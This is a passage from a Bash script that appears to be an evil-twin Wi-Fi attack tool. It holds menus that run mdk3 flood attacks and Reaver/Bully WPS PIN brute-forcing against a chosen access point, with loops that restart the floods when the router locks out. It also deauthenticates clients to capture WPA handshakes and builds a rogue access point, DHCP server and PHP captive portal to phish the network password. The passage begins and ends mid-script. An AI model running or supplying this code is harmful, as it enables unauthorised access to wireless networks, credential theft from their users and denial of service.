-conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read g -case $g in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC2 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL2 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac - -} - -menu -conditional_clear -mostrarheader -;; - 3) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear - -scan_for_targets - -clear - - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - - - - -clear -conditional_clear -mostrarheader -echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** -1)Yes -2)No" - -read i -case $i in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read j -case $j in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC3 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL3 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 4) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - - -clear - -echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** -1)Yes -2)No" - -read l -case $l in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - -clear - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read m -case $m in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC4 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL4 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - 5) -clear -echo -read -p " - What is the name of your 1st Wlan Adapter? (Ex:Wlan0) - ": WIFI_MONITOR; -clear -echo -read -p " - What is the name of your 2nd Wlan Adapter? (Ex:Wlan1) - ": WIFI_MONITOR2; -clear -echo -read -p " - What is the name of your 3rd Wlan Adapter? (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -echo -read -p " - What is the name of your 4th Wlan Adapter? (Ex:Wlan3) - ": WIFI_MONITOR4; -clear -echo -read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; -clear - -scan_for_targets - -clear - -enable_mon_mode_1 - -enable_mon_mode_2 - -enable_mon_mode_3 - -enable_mon_mode_4 - -enable_mon_mode_5 - -clear - -echo "************** - Would you like to set ALL Wlan Adapters to the same MAC Address? - ************** -1)Yes -2)No" - -read o -case $o in - 1) -clear - -mac_change_1 - -mac_change_2 - -mac_change_3 - -mac_change_4 - -mac_change_5 - -clear -;; - 2) -;; - *)Invalid Option -;; -esac - - -menu () { -clear -conditional_clear -mostrarheader - - echo "Select your Attack Method" - echo " " - echo -e " "$blue"0)"$transparent" Select New Target Network" - echo -e " "$blue"1)"$transparent" EAPOL Start Flood" - echo -e " "$blue"2)"$transparent" Authentication Flood" - echo -e " "$blue"3)"$transparent" Reaver" - echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" - echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" - echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" - echo -e " "$blue"7)"$transparent" Bully" - echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" - echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" - echo " " - echo -n " #> " - -echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" -read p -case $p in - 0) -clear -scan_for_targets -enable_mon_mode_1 -menu -;; - 1) -clear -timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 -menu -;; - 2) -clear -timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m -menu -;; - 3) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv -menu -;; - 4) -clear -xterm -e "wash -i $WIFI_MONITOR" & -menu -;; - 5) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 6) -clear -reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & -reaver_pid=$! - -while kill -0 $reaver_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - 7) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR -menu -;; - 8) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_ASOC5 - fi - sleep 1 -done -menu -;; - 9) -clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & -bully_pid=$! - -while kill -0 $bully_pid ; do - DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` - if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then - run_mdk3_EAPOL5 - fi - sleep 1 -done -menu -;; - *)Invalid Option -menu -;; -esac -} - -menu - -;; - -esac - -} -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "File ${red}NOT$transparent present" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$blue"2)"$transparent" pyrit" - echo -e " "$blue"3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$blue"1)"$transparent" Deauth all" - echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" - echo -e " "$blue"3)"$transparent" Deauth target " - echo -e " "$blue"4)"$transparent" Rescan networks " - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$blue"1)"$transparent" Yes" - echo -e " "$blue"2)"$transparent" Strike again " - echo -e " "$blue"3)"$transparent" No (Select another attack)" - echo -e " "$blue"4)"$transparent" Select another network" - echo -e " "$blue"5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$blue""1)"$transparent" Web Interface" - echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$blue""1)"$transparent" English [ENG]" - echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" - echo -e "$blue""4)"$transparent" French [FR]" - echo -e "$blue""5)"$transparent" Portuguese [POR]" - echo -e "$blue""6)"$transparent" German [GER]" - echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" 